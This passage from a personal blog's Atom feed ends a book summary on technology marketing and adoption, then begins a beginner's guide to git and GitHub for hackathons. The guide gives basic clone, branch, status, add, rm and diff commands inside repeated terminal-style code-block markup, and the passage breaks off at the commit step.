Given these risks, It&rsquo;s important to sell confidence, some popular ways of doing that is to have third-party product testing, getting (current) customers&rsquo; testimonials, gaining endorsement from opinion leaders, serving &ldquo;tough&rdquo; customers, giving financial product guarantees like money back or free trial, being standard-agnostic, having experts in technology in the company and most importantly, being a leader in the space.</li>
<li><strong>Convert Champions not deals</strong>
<strong>LinkedIn</strong> succeeded by finding its value proposition (recruiter will join LinkedIn if potential candidates are there, they will join if startup founders are there, they will join if VCs are there, so they targeted VCs, it tried to create value of VCs by providing it a platform for diligence of potential investments, they ended up being the champion of the platform).
The idea is to focus on finding champions, who could be industry analysts, bloggers, experts or industry leaders, once they vouch for your company, the chance of success increases significantly.</li>
<li><strong>Choose the right partners. Manage them with Clarity.</strong>
<strong>F5 networks</strong> (application delivery network products for making Internet-based applications faster) was struggling in 2001 but made huge success by building good alliances. The idea behind the partnership is to develop interdependence where both companies benefit.
<strong>BodyMedia</strong> (maker of wearable technologies) partnered with Roche Diagnostics and Apex Fitness group and reach customers of these companies.
Partnership could be to create a whole product (by combining different products from the partners), to make a joint venture to enter a new market, to gain market share (works only if cost of switching is low, HP and Compaq joined hands but still lost to Dell in the PC market since the cost of switching is low), to protect the competitive position (In 2005, Google bought 5% of AOL for $ 1B to ensure that AOL uses Google search).
Success to a good partnership is clarity of relationship, goals, communication mechanisms, IP rights, terms of commitment and management structure.</li>
<li><strong>Design products and services that are easy to adopt.</strong> <strong>Skype</strong> vs <strong>Vonage</strong> - Cost of trying Skype was low, just download, install and use. Cost of trying Vonage was high since it required a complete replacement of existing telephone hardware. For a long time, Vonage failed to acknowledge Skype as a competitor since they belonged to different categories.
Competition does not always stem from the same category (eg. Kodak was decimated by digital camera companies not analog).
<strong>Apple</strong> launched iPod pretty late in the market (there were many mp3 players at that time) but won the market by providing a whole product where downloading-and-installing music from the internet was easy, other players only focused on the hardware ignoring the software part.
<strong>XM Satellite Radio</strong> was far superior to radios but National Association of Broadcasters lobbied for rules which made XM Satellite radio expensive to operate (free radio spectrum for radios as well as no requirement for paying a royalty to performers - both denied to Satellite radio).
<strong>Segway</strong> could have succeeded but failed miserably due to laws banning its use on pedestrian walkways.
The book mentions the   
    
    
<a href="https://books.google.com/books?id=bi641-rEdIMC&amp;pg=PA182&amp;lpg=PA182&amp;dq=adoptability&#43;matrix&amp;source=bl&amp;ots=CiDm0WPQPz&amp;sig=CbGm_b_dELFFng7NcehM0iIhQPo&amp;hl=en&amp;sa=X&amp;ei=avPFUrv5LI3moAT2koHoBg&amp;ved=0CDAQ6AEwAA#v=onepage&amp;q=adoptability%20matrix&amp;f=false&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">adoptability matrix</a> which is useful for evaluating the product before building it.</li>
<li><strong>You are doing well. Congratulations. Now change or die</strong>
<strong>Apple</strong> reinvented itself by focusing on music.
MicroPro (largest software company in 1984, maker of WordStar) killed itself by ignoring competition from Word Perfect.
<strong>Ashton-Tate</strong> was the largest Database seller in 1986 but became bloated and eventually sold to (mismanaged) Borland.
<strong>DEC</strong> was focused on minicomputers and eventually lost to PCs.
Out of the top 10 PC software companies, Microsoft is the only one which exists today.
<strong>Kodak</strong> lost it to the arrival of digital cameras while <strong>Canon</strong> kept itself alive by changing its strategy.
<strong>IBM</strong> lost its edge in the PC industry and came back with a focus on services.
Changes are painful, the reaction to change is usually denial, bargain, anger, despair and acceptance (in the order).
The author recommends that companies should look beyond their categories for competitors (Microsoft denied Internet and Netscape initially), keep an eye on new business models (SaaS-based Salesforce killed Siebel), watch for convergence (broadband + NetFlix killed BlockBuster), evolution of value chain (shifted from PC makers to OS to Internet).</li>
</ol>
<p>All in all its a great read.</p>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/technology" term="technology" label="technology"/></entry><entry><title type="html">Github 101 for hackathons</title><link href="https://ashishb.net/programming/github-101-for-hackathons/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/mac-101-migrating-from-gnulinux-to-mac-for-software-engineers/?utm_source=atom_feed" rel="related" type="text/html" title="Mac OS X Primer: GNU/Linux -> Mac for software engineers"/><link href="https://ashishb.net/programming/how-to-upgrade-nexus-4-to-android-4-4-kitkat/?utm_source=atom_feed" rel="related" type="text/html" title="How to upgrade Nexus 4 to Android 4.4 Kitkat"/><link href="https://ashishb.net/programming/amazing-sandbox/?utm_source=atom_feed" rel="related" type="text/html" title="Introducing Amazing Sandbox - run third-party tools and AI agents securely on your machine"/><link href="https://ashishb.net/programming/openapi/?utm_source=atom_feed" rel="related" type="text/html" title="Use REST with Open API"/><link href="https://ashishb.net/programming/using-python-uv-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="Best practices for using Python &amp; uv inside Docker"/><id>https://ashishb.net/programming/github-101-for-hackathons/</id><author><name>Ashish Bhatia</name></author><published>2013-12-31T03:13:37+00:00</published><updated>2013-12-31T03:13:37+00:00</updated><content type="html"><![CDATA[<blockquote>Master GitHub collaboration for hackathons with our step-by-step guide. Learn essential setup, branching, and merging tips to boost your team&rsquo;s productivity.</blockquote><p>This blog post is a HOWTO guide for using   
    
    
<a href="https://github.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">github</a> while collaborating during hackathons. It does not cover git in detail.</p>
<p>One time setup</p>
<ol>
<li>Create github account by visiting   
    
    
<a href="https://github.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://github.com</a></li>
<li>Generate SSH key   
    
    
<a href="https://help.github.com/articles/generating-ssh-keys?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">locally</a> and upload it to github</li>
</ol>
<p>This setup ensures password-less (code) pull and push from github.</p>
<p>Per project setup</p>
<ol>
<li>
<p>Create a repo on github by submitting form at   
    
    
<a href="https://github.com/new?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://github.com/new</a></p>
</li>
<li>
<p>Clone the repo locally using</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git clone git@github.com:@.git</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>This URL is mentioned on the bottom right side of the repo page.
Note: It&rsquo;s recommended to use the above style (SSH) instead of the HTTPS style so that, future submissions do not require retyping password.</p>
</li>
<li>
<p>This will clone the (empty) repo into <code>&lt;reponame&gt;</code> directory.</p>
</li>
<li>
<p>After &ldquo;cd&quot;ing that directory, you will be working on the master branch.</p>
</li>
<li>
<p>Change to a new branch say <code>user1</code> using</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git checkout -b user1</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Note: &ldquo;-b&rdquo; creates a branch and checks it out. If branch already exists, the command will fail, remove &ldquo;-b&rdquo; to check out (work on) that branch.</p>
</li>
<li>
<p>To see which branch you are currently and how much its modified use,</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git status</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div></li>
<li>
<p>Now modify the files.</p>
</li>
<li>
<p>To add a new file, after creating the file, do</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git add filename</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div></li>
<li>
<p>To remove a file, do</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git rm filename</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div></li>
<li>
<p>All the changes made till this point are uncommitted, to see what changes will be committed in next commit, use</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git status</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>and</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git diff</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div></li>
<li>
<p>Once the changes look good, commit them using</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
